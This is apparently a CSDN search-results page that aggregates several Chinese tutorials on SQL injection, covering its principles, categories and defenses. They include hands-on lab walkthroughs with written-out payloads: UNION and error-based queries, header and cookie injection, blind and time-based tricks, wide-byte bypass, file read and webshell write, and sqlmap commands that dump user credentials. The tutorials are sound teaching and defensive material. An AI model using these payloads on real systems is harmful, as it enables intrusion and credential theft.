精华内容
下载资源
问答
  • sql注入漏洞
    千次阅读
    2022-02-17 11:39:42

    1 SQL注入简介

    1.1 SQL注入概述

    1. 定义:SQL注入就是指Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。
    2. 动态SQL语句:一般情况下,开发人员可以使用动态SQL 语句创建通用、灵活的应用。动态SQL语句是在执行过程中构造的,它根据不同的条件产生不同的SQL 语句。当开发人员在运行过程中需要根据不同的查询标准决定提取什么字段(如select语句),或者根据不同的条件选择不同的查询表时,动态地构造SQL语句会非常有用。
    3. 下面以PHP语句为例。由于这里的参数ID可控,且带入数据库查询,所以非法用户可以任意拼接SQL语句进行攻击。
    $query =SELECT * FROM users WHERE id= $_GET['id']";
    

    1.2 SQL注入原理

    1. 目前,大多数Web编程语言提供了操作SQL的接口,以方便与数据库进行交互。但是在开发Web应用的过程中,由于忽视了代码的健壮性和安全性,攻击者可以构造巧妙的SQL语句从而获取到敏感数据,因此导致了SQL这种攻击方式的流行。
    2. SQL 注入漏洞的产生需要满足以下两个条件:
      • 参数用户可控:前端传给后端的参数内容是用户可以控制的。
      • 参数带入数据库查询: 传入的参数拼接到SQL吾句,且带入数据库查询。

    1.3 SQL注入漏洞的危害

    1. 攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。
    2. 可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。
    3. 如果网站目录存在写入权限,可以写入网页木马。攻击者进而可以对网页进行篡改,发布一些违法信息等。
    4. 经过提权等步骤,服务器最高权限被攻击者获取。攻击者可以远程控制服务器,安装后门,得以修改或控制操作系统。

    2 SQL注入漏洞分类

    2.1 注入位置分类

    根据SQL注入漏洞原理,在用户“可控参数”中注入SQL语法,也就是说WEB应用在获取用户数据的地方,只要带入数据库查询,都有可能存在注入,这些地方通常包括:

    • GET 数据
    • POST 数据
    • http请求头参数注入
      • HTTP Referer:是header的一部分,当浏览器请求网页时,会自动携带一个请求来源,如果后端存在交互,则会引发注入问题的产生。
      • User-Agent 请求头,该请求头携带的是用户浏览器的标识信息,如果此时带入数据库查询,则同样会触发注入问题的产生。
      • X-Forwarded-For:简称XFF头,它代表客户端,用于记录代理信息的,每经过一级代理(匿名代理除外),代理服务器都会把这次请求的来源IP追加在X-Forwarded-For中
      • Cookie:指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)
      • X-Real-IP:只记录真实发出请求的客户端IP。
      • Accept-Language:请求头允许客户端声明它可以理解的自然语言,以及优先选择的区域方言
      • HTTP_CLIENT_IP:该属性是PHP内置属性,同样取得的是客户端的IP,同样可控,如果带入数据库,则会产生注入问题。
    • ……

    2.2 注入数据类型分类

    从数据类型分类来看,SQL注入分为数字型和字符型。

    • 数字型注入:注入点的数据拼接到SQL语句中是以数字型出现的,数据两边没有单引号、双引号括起来。
    • 字符型注入:注入点的数据两边有单引号、双引号括起来。

    2.3 注入手法分类

    • union联合查询注入
      union查询注入是最基础的注入。在SQL中, UNION 操作符用于合并两个或多个 SELECT 语句的结果。union 查询注入利用 UNION 关键字可以追加一条或者多条额外的 SELECT 查询,并将结果追加到原始查询中。
    • 盲注
      盲注指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。主要分为布尔盲注与基于时间的盲注。
    • 报错注入
      黑客攻击时常根据错误回显进行判断,但是现在非常多的Web程序没有正常的错误回显,这样就需要我们利用报错注入的方式来进行SQL注入了。
    • 堆叠查询注入
      堆叠注入为攻击者提供了很多的攻击手段,通过添加一个新的查询或者终止查询,可以达到修改数据和调用存储过程的目的。
    • 二次注入
      在将数据(一次注入的)存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
    • 宽字节注入
      在使用PHP连接MySQL的时候,当设置“set character_set_client = gbk”时会导致一个编码转换的问题,这就是常说的宽字节注入。
    • base64注入
      base64注入是针对传递的参数被base64加密后的注入点进行注入。除了数据被加密以外,其中注入方式与常规注入一般无二。

    3 SQL知识基础

    为了更好地进行SQL注入,需要对SQL有所了解,在之前专栏学过的SQL基础语句后,此处对与SQL注入相关性较大的知识做一个温习。

    3.1 MySQL 元数据库 information_schema 内容简介

    information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。

    在该数据库中,有三个表对SQL注入帮助较大,分别是schemata表、tables表、和columns表。.

    • schemata:记录当前 mysql 中所有数据库的信息。该表中字段名SCHEMA_NAME记录着所有数据库的名字。
    • tables:存储 mysql 中的所有表的信息。该表主要字段名如下:
      • TABLE_SCHEMA:记录该表属于哪个数据库。
      • TABLE_NAME:记录该表的名字。
    • colunms:存储 mysql 中所有字段信息。该表主要字段名如下:
      • TABLE_SCHEMA:记录该字段名属于哪个数据库。
      • TABLE_NAME:记录该字段属于哪个表。
      • COLUMN_NAME:记录该字段名。

    3.2 MySQL 常用参数

    可以利用select语句加上下列常用参数,来查询所需要的信息。比如select 1 <>2数据库将返回1,又比如select version()数据库将返回版本号 。常用参数如下,更多参数、运算符、函数参考文章《SQL常用运算符、通配符及参数》《SQL常用函数简要解析

    参数名用途
    version()返回当前数据库软件版本
    database()返回当前数据库名
    user()返回用户名
    current_user()返回当前用户名
    system_user()返回系统用户名
    @@datadir返回数据库路径
    @@version_compile_os返回操作系统版本

    4 总结

    1. 了解SQL注入漏洞的概念和危害;
    2. 理解SQL注入漏洞产生的两个条件;
    3. 了解SQL注入分类方式;
    4. 加深SQL和数据库相关知识的理解。

    参考文献

    1. 常见sql注入的类型
    2. SQL注入及其危害、防御手段
    3. 十种MySQL报错注入
    4. MySQL盲注:基于时间延迟注入9种方法
    5. SQL注入-堆叠注入(堆查询注入)
    6. MySQL 中的 information_schema 数据库
    更多相关内容
  • 7710ee60026141aa8c0e43b608015d88.zip,7710ee60026141aa8c0e43b608015d88,自己动手编写SQL注入漏洞扫描工具.zip
  • 主要介绍了php中sql注入漏洞示例,大家在开发中一定要注意
  • 注入代码实例: 复制代码 代码如下: https://www.jb51.net/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,...
  • 使用示例-使用Sqlmap获取DVWA数据 (6)判断列名:root@kali:~# sqlmap -r /etc/url -D dvwa -T users –column 单击此处添加标题 * * * * * * * * * * * * * * * * 目录页 SQL注入漏洞的利用 数据提取方式 数据提取...
  • 早在02年,国外关于SQL注入漏洞的技术文章已经很多,而国内在05年左右才开始的。 如今,谈SQL注入漏洞是否已是明日黄花,国内大大小小的网站都已经补上漏洞。但,百密必有一疏,入侵是偶然的,但安全绝对不是必然的...
  • SQL注入漏洞

    千次阅读 2021-12-11 21:16:59
    SQL注入漏洞原理 注射式攻击的根源在于,程序命令和用户数据(即用户输入)之间没有做到泾渭分明。这使得攻击者有机会将程序命令当作用户输入的数据提交给Web程序,以发号施令,为所欲为(注:注入最终是数据库,属于...

    SQL注入漏洞原理

    注射式攻击的根源在于,程序命令和用户数据(即用户输入)之间没有做到泾渭分明。这使得攻击者有机会将程序命令当作用户输入的数据提交给Web程序,以发号施令,为所欲为(注:注入最终是数据库,属于服务端攻击,与脚本、平台、数据库类型无关)。

    总之一句话:注入产生的原因是接受相关参数未经处理直接带入数据库查询操作

       手工检测SQL注入点

    只要有带参数交互的地方都有可能有SQL注入漏洞

    登录的地方、更新的地方、注册的地方、留言板、查询、删除等

    可能出现注入的地方:http头、cookicesrefereeuser agentpost提交数据包的地方等等

    最常用的SQL注入点判断方法,是在网站中寻找如下形式的网页链接。

    http://www.*****.com/***.asp?id=xx (ASP注入)

    或者下面的链接。

    http://www.*****.com/***.php?id=xx (php注入)

    http://www.*****.com/***.jsp?id=xx (jsp注入)

    http://www.*****.com/***.aspx?id=xx (aspx注入)

    http://www.*****.com/index.asp?id=8&page=99 (注:注入的时候确认是id参数还是page参数,工具默认只对后面page参数注入,所以要对工具进行配置或者手工调换)

    http://www.*****.com/index/new/id/8 伪静态

    http://www. *****.com/index/new/php-8.html伪静态

    其中的“**”可能是数字,也有可能是字符串,分别被称为整数类型数据和字符型数据。

    Http Header注入

    把http header直接代入数据库(referer/user-agent)

    在数据库有记录referer/user-agent头的情况下可用

    先在pikachu平台打开Http Header注入模块,点击提示查看登录帐号和密码,登陆后去BurpSuite中找到登陆地GET请求,把请求发送到Repeater模块中,去除User-Agent:,然后输入' 然后运行后观察MYSQL语法报错然后发现存在SQL注入漏洞。这时候可以设置payload。在User-Agent输入payload

    ' or updatexml(1,concat(0x7e,database ()),0) or '

    Cookie注入

    把数据参数写入到cookie里面。

    Cookie是网站为了识别用户身份来跟踪会话的,虽然Cookie是由后端生成的,但每次页面跳转,后端都回对前端的Cookie的信息进行验证,但如果后端获取Cookie后放在数据库中进行拼接,那么这也将是一个SQL注入点。在

    ant[uname]=admin后添加一个’观察反馈的MYSQL的语法报错,发现了存在SQL

    注入漏洞,在设置Payload

    'andupdatexml(1,concat(0x7e,database()),0)#

     

    观察报错和之前是否相同。

     

    如何判断某个网页链接是否存在SQL注入漏洞呢?通常有两种检测方法。

    1.“单引号”法

    第一种检测SQL注入漏洞是否存在的方法是“单引号”法。方法很简单,直接在浏览器地址栏中的网址链接后加上一个单引号,如果页面不能正常显示,浏览器返回一些异常信息,则说明该链接可能存在注入漏洞。

    2. 1=1和1=2法

    很多时候检测提交包含引号的链接时,会提示非法字符,或者直接不返回任何信息,但这并不等于不存在SQL注入漏洞。此时可使用经典的“1=1和1=2”法进行检测。方法很简单,就是直接在链接地址后分别加上and 1=1和and 1=2进行提交,如果返回不同的页面,那么说明存在SQL注入漏洞。

    23.注入分类和注入提交方式

    数字型 (' or 1=1#;) 数字型不需要单引号闭合字符型 (vince' or 1=1#;) 关键是如何闭合SQL语句和注释多余代码

    搜索性 ('%vince%' or 1=1#;)

    回到pikachu平台,将拼接语句写为%xxxx%'or 1=1 #%

    XX型 (username=('xx') or 1=1#;)

    回到pikachu平台,将拼接语句写为XX') or 1=1#

    注释符

    #

    --空格

    /**/

    注释的提交方式

    GET提交 一般直接通过浏览器提交

    POST提交 通过burp抓包、火狐浏览器插件(hackbar)

    COOKIE提交 通过burp抓包

    HTTP Header头提交

    24.注入攻击支持类型

     

    联合查询,函数报错型,时间布尔型(盲注),堆叠注入,宽字节注入

    Union注入

    ?id=1 order by

    ?id=1 order by 2    ?id=1 order by 3

    ?id=1 union select 1,2,3,4

    ?id=1 union select 1,databases(),3,4

    ?id=1 union select 1,databases(),user(),4
     

    information_schema   mysql5.0以上才有

                          mysql账户密码存在MySQL>user>

    以下需要BP

    基于函数报错注入

       Insert注入

       Update注入

       Dalete注入

    前提条件:后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。函数

                    报错updatexml()、extractvalue()、 floor()

        httphead注入  

    cookie注入

      同上httphead注入cookie注入

    盲注

    1.基于布尔型SQL盲注

    输入语句

    select ascii(substr(database(),1,1))>xx;

    通过对比ascii码的长度,判断出数据库表名的第一个字符。

    注:substr()函数

    substr(string,start,length)

    string(必需)规定要返回其中一部分的字符串。start(必需)规定在字符串的何处开始。length(可选)规定被返回字符串的长度。

     

           那么通过这个方法,虽然只能通过判断单个字符,我们同样可以使用length来判断表名的长度,判断出长度后就能多次输入payload来爆破出每一个表名的字符。输入语句:

    select length(database())<xx;

    判断表名长度为7。

     

     回到pikachu平台按照之前的逻辑,我们构造语句,如果返回1,那么就会爆出选择的信息,返回0,就会返回 您输入的username不存在! 。按照之前逻辑,输入sql语句:

    vince' and ascii(substr(database(),1,1))=112#

    通过这个方法,就能得到后台数据库的名称的第一个字符的ascii码。

     

    p

    同之前的办法,我们也可以获得information_schema.tables里的数据。但在实际操作中通常不会使用手动盲注的办法,可以使用sqlmap等工具来增加盲注的效率。

    2. 基于时间型SQL盲注

    到base on time盲注下,输入上个演示中设置好的payload vince' and ascii(substr(database(),1,1))=112#,返回的信息发现不存在注入点。那这样就不能进行注入了?但其实可以通过后端的执行时间来进行注入。这里会用到的payload: vince' and sleep(x)#

     

    基于时间的延迟,构造一个拼接语句:

    vince' and if(substr(database(),1,1)='X' (猜测点:比如p)',sleep(10),null#,

    输入后,如果猜测真确,那么就会响应10秒,如果错误会立刻返回错误。输入:vince' and if(substr(database(),1,1)='p',sleep(10),null)#,再web控制台下,判断出database的表名的一个字符为p。通过这个办法我们就能逐步向下获取数据。

    p

    堆叠注入

    宽字节注入

    宽字节注入是利用了编码中使用的是Ascii编码,而MySql使用了GBK编码,导致的注入漏洞单独注入一个单引号:’没任何反应。

    代表了无法注入,主要原因是mysql中的addslashes函数,起作用是:,让’变成’,让引号变得不再是“单引号”,只是一撇而已。一般绕过方式就是,想办法处理’前面的\:

    1.想办法给\前面再加一个\(或单数个即可),变成\’,这样\被转义了,'逃出了限制

    2.想办法把\弄没有。

    我们这里的宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围。

    输入%df’ 试试:

    为什么从刚才到现在,只是在’也就是%27前面加了一个%df就报错了?而且从图中可以看到,报错的原因就是多了一个单引号,而单引号前面的反斜杠不见了。

    这就是mysql的特性,因为gbk是多字节编码,他认为两个字节代表一个汉字,所以%df和后面的\也就是%5c变成了一个汉字“運”,而’逃逸了出来。

    明白了这个特性之后,就可以进行宽字节注入:

    例如:?id=1%df’ order by 5%23 其中%23是为匹配本来属于sql语句的剩余的单引号

    提示:输入表名或库名时,需要将之转为16进制表达。

    展开全文
  • 下面给出4个函数,足够你抵挡一切SQL注入漏洞!读懂代码,你就能融会贯通。 注意要对所有的request对象进行过滤:包括 request.cookie, request.ServerVariables 等等容易被忽视的对象: 代码如下: function killn...
  • sql注入漏洞

    千次阅读 2022-04-27 00:08:43
    SQL注入漏洞 文章目录SQL注入漏洞一、SQL注入原理实现注入攻击的两个关键条件(重点)二、SQL注入危害三、SQL注入防御四、SQL注入分类五、SQL注入流程流程细节六、手工注入实例1、判断是否存在SQL注入点2、判断注入...

    SQL注入漏洞

    严正声明:本文仅限于技术讨论,严禁用于其他用途。

    一、SQL注入原理

    • 数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。简而言之就是,由于用户不可控输入,攻击者可以任意的输入恶意的sql语句,使原始的查询语句的语义发生改 变。从而对数据库或操作系统产生风险。

      SQL注入原理

      SQL注入原理

    • 注意:注入攻击的本质,就是把用户输入的数据当做代码执行。

    • 注入漏洞最根源的问题是,没有安全编码规范

    实现注入攻击的两个关键条件(重点)

    • 第一个:用户能控制输入——用户能控制输入变量
    • 第二个:原本程序要执行的代码,拼接了用户输入的数据。(正是拼接的这个过程导致了代码的注入)

    注入漏洞经常出现的位置

    • 常发生于用户和服务交互处(增删改查操作),ajax,接口等等

    二、SQL注入危害

    • SQL注入上得了机器权限,下得了数据。攻击者利用SQL注入漏洞,带来的风险有很 多,例如数据库被拖库,管理员和重要人员信息泄露,甚至还能通过SQL注入漏洞直 接获取webshell或者服务器系统权限等等。

    具体危害如下

    • 绕过登录验证:使用万能密码登录网站后台等
    • 获取敏感数据:获取网站管理员帐号、密码等
    • 文件系统操作:列目录,读取、写入文件等
    • 注册表操作:读取、写入、删除注册表等
    • 执行系统命令:远程执行命令

    三、SQL注入防御

    • 对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
    • 预编译参数化查询 (提前编译SQL语句,将所有的用户输入都当做『数据』,而非『语法』)在设计与数据库连接并访问数据时,在需要填入数值或数据的地方,使用参数(Parameter)来给值
    • 目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
    • 采用黑名单、白名单等形式对用户提交的信息进行过滤,一旦发现用户参数中出现敏感的词或者内容,则将其删除,使得执行失败。
    • 安全设计遵循“数据与代码分离”原则
    • 使用WAF(web应用防护墙)等安全产品

    注:最好的防御,就是内部先发现 。

    如何发现被SQL注入攻击?

    日志监控—>蜜罐数据—>异常报警

    • 监测方面目前大多都是:日志监控+waf。日志推荐走数据库日志,越是离资源操作 近的地方,越是容易做到真正的安全。数据库日志容易解析,语法出错的、语法读 Info表的,都明确是黑客嘛,还能帮我们发现SQL注入点。
    • 蜜罐方面:数据库里可放置一些蜜罐数据的帐号和密码。假如这有一个服务,可以先从日志入手,发现请求恶意异常时,自动转发蜜罐。比如用户表里,前几十行里,做些用户名和密码 进行,实际上没有人用,一旦被登录,立马报警。

    四、SQL注入分类

    • 按照数据类型分类
      1. 数字型
      2. 字符型
    • 按照注入点分类(哪些地方存在sql注入)
      1. GET型(注入点在UR)
      2. POST型(注入点在表单输入框中,且数据提交方式是POST,如登录框、注册框)
      3. COOKIE型(注入点在cookie中)
      4. Header型(注入点在头部)
      5. 其他(请求报文中只要能够被后端脚本引擎接受的数据均可SQL注入)
    • 按照数据获取的方式分类
      1. 回显注入–联合查询
      2. 报错注入–报错回显(extractvalue(), updatexml(), floor())
      3. 盲注(没有错误回显)
        • bool盲注–逻辑语句判断查询出的字符
        • 时间盲注–利用页面演示情况判断数据库中的数据

    注意:

    盲注,time盲注,报错注入,union注入这些注入漏洞出现频率较高

    在不影响正常服务的情况下,拼接查询算最高危害的,接下来就是union。

    比较好检测的注入有:盲注,time盲注,报错注入等

    五、SQL注入流程

    1

    流程细节

    1. 找疑似注入点–找数据输入的地方
    2. 判断注入点----找输入点中与数据库有交互的地方
    3. 确认注入存在----确认找到于数据库有交互的地方是不是存在sql注入
    4. 选择攻击目标----选择攻击后需要达到的目的
    5. 根据选择的目标构sql语言
    6. 提交sql语言
    7. 判断网页响应是否与目标一致
      1. 后端语言对输入的sql语句有限制,考虑重构sql语句
      2. 选择的目标在当前网站不具备成功的条件,考虑重新选择目标
    8. 响应符合预期,则完成注入

    六、手工注入实例

    说明:靶场环境为pakachu 注入漏洞数字型

    参考文章: Pikachu漏洞平台练习_七天的博客-CSDN博客_pikachu漏洞练习平台

    1、判断是否存在SQL注入点

    我们通过在变量后加payload来判断注入点:
        and 1=1 /and 1=2 /' 通过输入这些payload后的回显页面,我们轻松看出是否存在注入;
        另外MYSQL有三种常用的注释符:
          -- 该注释符后面有一个空格,单行注释;
          /* */ 注释符号内的内容,多行注释;
          # 对该行#后面的内容进行注释,单行注释。
    

    2、判断注入类型

    a) 数字型注入

    测试步骤:
        1. 加单引号,这时sql语句后面多了一个单引号,会报错;
        2. 加and 1=1,语句正常执行,页面与原始页面相同;
        3. 加and 1=2,语句也可以正常执行,但页面会与原始网页存在差距
        如满足以上三点,可以判断此处存在数字型注入
    

    b) 字符型注入

    字符型注入的sql语句为:    
      select * from 【表名】where name = 'zhangsan’
        同样加单引号,但后面要带上注释符来注释掉后面多余的单引号,具体还是拿sql语句直观看一下: 
    
      select * from 【表名】where name = 'zhangsan’ and 1=1 #'
        第二个单引号是我们自己加的,用来'闭合前一个引号以便我们在后面继续加代码,#用来注释掉最后面多余的'
    
        当回显正常时我们可以判断此处为字符型注入。
    

    c) 其他类型注入(此处不做展示)

    3、判断字段数

    order by 函数是对MySQL中查询结果按照指定字段名进行排序,
    除了指定字段名还可以指定字段的栏位进行排序,
    第一个查询字段为1,第二个为2,依次 类推。
    若输入数值为n时报错,那么表示没有n个字段,总的字段数为n-1。
    

    image-20220306183115922

    4、判断回显位置

    通过上一步我们可以知道字段数,然后通过union select 1,2,3 ······n (n的数值为字段数)来判断回显位置
    

    image-20220306183616617

    5、判断数据库名

    image-20220306183844421

    或者

    id=1 union select 1,group_concat(schema_name) from information_schema.schemata 
    

    image-20220306184545295

    6、确定表名

    id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() 
    

    image-20220306184917348

    7、确定字段名

    id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()
    

    image-20220306185531447

    8、获取用户名与密码

    7、获取"username"、"password"的值 
    id=1 union select group_concat(username),group_concat(password) from pikachu.users
    或者
    id=1 union select 1,group_concat(username,'---',password) from users
    或者
    id=1 union select username,password from users
    

    image-20220306190042138

    9、MD5解密—破解密码

    值得注意的是MD5是不可逆的,也就是说MD5加密其实是无法解密的,只能在数据库里匹配,这个数据库里存放的是以往待加密数据与加密后数据的字典
    img

    七、sqlmap注入实例

    说明:靶场环境为SQLi-LABS Page-1

    1、判断是否存在注入点

    sqlmap -u "http://192.168.137.1:91/Less-1/?id=1"
    

    image-20220426234926594

    出现如图类似的内容表示存在注入点:

    image-20220426235009944

    2、爆数据库名

    爆出所有数据库信息

    sqlmap -u "http://192.168.137.1:91/Less-1/?id=1" --dbs
    

    image-20220426235056110

    image-20220426235132746

    爆出当前数据库信息

    sqlmap -u "http://192.168.137.1:91/Less-1/?id=1" --current-db
    

    image-20220426235236536

    3、指定库名,列出所有元素

    sqlmap -u "http://192.168.137.1:91/Less-1/?id=1" -D security --tables
    

    image-20220426233507589

    image-20220426233538512

    4、指定库名、表名,列出所有字段

    sqlmap -u "http://192.168.137.1:91/Less-1/?id=1" -D security -T users --columns
    

    image-20220426233646944

    image-20220426233719663

    5、指定库名、表名、字段名,列出指定字段

    sqlmap -u "http://192.168.137.1:91/Less-1/?id=1" -D security --T users -C username,password --dump
    

    image-20220426234727983

    image-20220426234830027

    展开全文
  • 自己动手编写SQL注入漏洞扫描器
  • 主要介绍了SQL注入漏洞过程实例及解决方案,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
  • 想在本地测试的话,可以在此免积分下载:利用SQL注入漏洞拖库 同上一篇文章一样,我们需要创建数据表,并在表中出入几条数据以备测试之用。 在数据库中建立一张表: 代码如下: CREATE TABLE `article` ( `articleid`...
  • PHPCMS2008由于广告模块取referer不严,导致一处sql注入漏洞.这篇文章主要介绍了PHPCMS2008广告模板SQL注入漏洞的相关资料,需要的朋友可以参考下
  • SQL注入漏洞原理与防御 漏洞介绍 SQL注入漏洞的本质是把用户输入的数据当做代码来执行,违背了“数据与代码分离”的原则。 SQL注入漏洞有两个关键条件,理解这两个条件可以帮助我们理解并防御SQL注入漏洞: 用户能...
  • SQL注入漏洞演示源代码 更多免费资源请查看:http://download.csdn.net/user/php_fly
  • YXcms-含有SQL注入漏洞的源码包,亲测真实有效可用,如有侵权,请联系CSDN管理员删除
  • 基于爬虫的SQL注入漏洞检测技术的研究,贾潇雨,罗守山,SQL注入是当今危害比较大的威胁之一,被攻击者利用的手段也是层出不穷。针对这种情况,如何准确迅速的检测SQL注入就成为大家研究的
  • SQL注入漏洞全接触.rar

    2020-09-23 19:48:46
    SQL注入漏洞全接触.rarSQL注入漏洞全接触.rarSQL注入漏洞全接触.rarSQL注入漏洞全接触.rarSQL注入漏洞全接触.rarSQL注入漏洞全接触.rar
  • SQL注入漏洞详解

    万次阅读 多人点赞 2022-03-10 19:40:42
    文章目录SQL注入漏洞原理SQL注入内容注入条件判断注入SQL注释符与注入流程 SQL注入漏洞原理 漏洞原理   web页面源代码对用户提交的参数没有做出任何过滤限制,直接扔到SQL语句中去执行,导致特殊字符改变了SQL...


    SQL注入漏洞原理

    • 漏洞原理
        web页面源代码对用户提交的参数没有做出任何过滤限制,直接扔到SQL语句中去执行,导致特殊字符改变了SQL语句原来的功能和逻辑。黑客利用此漏洞执行恶意的SQL语句,如查询数据、下载数据,写webshell、执行系统命令以此来绕过登录权限限制等。

    • 检测方法
        可以利用sqlmap进行SQL注入的检查或利用,也可以使用其他SQL注入工具。也可以手工测,利用单引号、and 1=1以及字符型注入进行判断。

    • 防御措施
        (1)sql 语句预编译和绑定变量
        (2)所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。当前几乎所有的数据库系统都提供了参数化 SQL 语句执行接口,使用此接口可以非常有效的防止 SQL 注入攻击。
        (3)对进入数据库的特殊字符( ’ <>&*; 等)进行转义处理,或编码转换。
        (4)确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为 int 型。
        (5)数据长度应该严格规定,能在一定程度上防止比较长的 SQL 注入语句无法正确执行。
        (6)网站每个数据层的编码统一,建议全部使用 UTF-8 编码,上下层编码不一致有可能导致一些过滤模型被绕过。
        (7)严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害.
        (8)避免网站显示 SQL 错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。

    SQL注入内容

    注入条件

    SQL 注入需要满足以下两个条件:

    • 参数可控:从前端传给后端的参数内容是用户可以控制的
    • 参数带入数据库查询:传入的参数拼接到 SQL 语句,且带入数据库查询。

    判断注入

    • 当用户传入参数为 1’的时候,在数据库执行如下所示:
     select * from users where id=1' 
    

    此 SQL语句不符合语法规则就会报错。

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
    
    • 当用户传入参数为 1 and 1=1 时
    select * from users where id=1 and 1=1 
    

    因为 1=1 为真,id=1 也是真, and 两边均为真。所以页面会返回 id=1 的结果。

    • 如果用户传入参数为 1 and 1=2 时
      因为 1=2 为假 id=1 为真 and 两边有一个为假,所以页面返回与 id=1 不一样的结果。

      由此可以初步判断存在 SQL 注入漏洞,攻击者可以进一步拼接 SQL 攻击语句,进行攻击,致使信息泄露,甚至获取服务器权限。
      其实也就是看有没有回显。回显是指页面有数据信息返回。无回显是指根据输入的语句,页面没有任何变化或者没有数据库中的内容显示到网页中。

    id =1 and 1=1
    id = 1 and 1=2
    id = 1 or 1=1
    id = '1' or '1'='1'
    id=" 1 "or "1"="1"
    

    SQL注释符与注入流程

    注释符:
    #(单行注释 注意与 url 中的#区分)
    --空格 (单行注释 注意为短线短线空格)
    /*()*/ (多行注释 至少存在俩处的注入 /**/常用来作为空格)
    注入流程:

    • 是否存在注入并且判断注入类型
    • 判断字段数 order by
    • 确定回显点 union select 1,2
    • 查询数据库信息 @@version @@datadir
    • 查询用户名,数据库名 user() database()
    • 文件读取 union select 1,load_file(‘C:\wondows\win.ini’)#
    • 写入 webshell select…into outfile…

    使用 sql 注入遇到转义字符串的单引号或者双引号,可使用 HEX 编码绕过。

    SQL注入分类

    SQLMap 分类

    SQL 注入类型有以下 5 种:
    UNION query SQL injection(可联合查询注入)
    Stacked queries SQL injection(可多语句查询注入)堆叠查询
    Boolean-based blind SQL injection(布尔型注入)
    Error-based SQL injection(报错型注入)
    Time-based blind SQL injection(基于时间延迟注入)
    在这里插入图片描述
    输入命令sqlmap -hh
    在这里插入图片描述
    输入命令sqlmap -u
    在这里插入图片描述
    在这里插入图片描述

    接受请求类型区分

    GET 注入
    GET 请求的参数是放在 URL 里的,GET 请求的 URL 传参有长度限制 中文需要
    URL 编码
    POST 注入
    POST 请求参数是放在请求 body 里的,长度没有限制
    COOKIE 注入
    cookie 参数放在请求头信息,提交的时候 服务器会从请求头获取

    注入数据类型的区分

    int 整型
    select * from users where id=1
    sting 字符型
    select * from users where username=‘admin’
    like 搜索型
    select * from news where title like ‘%标题%’

    SQL注入思路

    1、寻找注入点,可以通过 web 扫描工具实现
    2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。
    3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)还可以获取数据库的 root 账号 密码—思路
    4、可以通过获得的用户信息,寻找后台登录。
    5、利用后台或了解的进一步信息。

    手工注入思路

    1.判断是否存在注入,注入是字符型还是数字型
    2.猜解 SQL 查询语句中的字段数 order by N
    3.确定显示的字段顺序
    4.获取当前数据库
    5.获取数据库中的表
    6.获取表中的字段名
    7.查询到账户的数据

    SQL 详细注入过程

    猜数据库:

    1' union select 1,database()
    

    payload 利用另一种方式:

    1' union select user(),database()version()
    

    得到数据库名:dvwa
    PS:union 查询结合了两个 select 查询结果,根据上面的 order by 语句我们知道查询包含两列,为了能够现实两列查询结果,我们需要用 union 查询结合我们构造的另外一个 select.注意在使用 union 查询的时候需要和主查询的列数相同。
    猜表名:

    1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()
    

    得到表名:guestbook,users
    group_concat 分组
    猜列名:

    1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273#
    
    1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'#
    

    (用编码就不用单引号,用单引号就不用编码)
    得到列:

    user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password
    

    猜用户数据:
    列举出几种 payload:

    1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
    
    1' union select null,concat_ws(char(32,58,32),user,password) from users #
    
    1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users #
    

    得到用户数据:
    admin 5f4dcc3b5aa765d61d8327deb882cf99
    猜 root 用户:#

    1' union select 1,group_concat(user,password) from mysql.user#
    

    得到 root 用户信息:
    root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B

    展开全文
  • SQL 注入漏洞介绍及解决办法

    千次阅读 2022-04-26 22:26:58
    SQL 注入攻击(SQL Injection),被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞。 在设计不良的程序当中,忽略了对输入字符串中夹带的 SQL 指令的检查,那么这些夹带进去的指令就会被...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 63,658
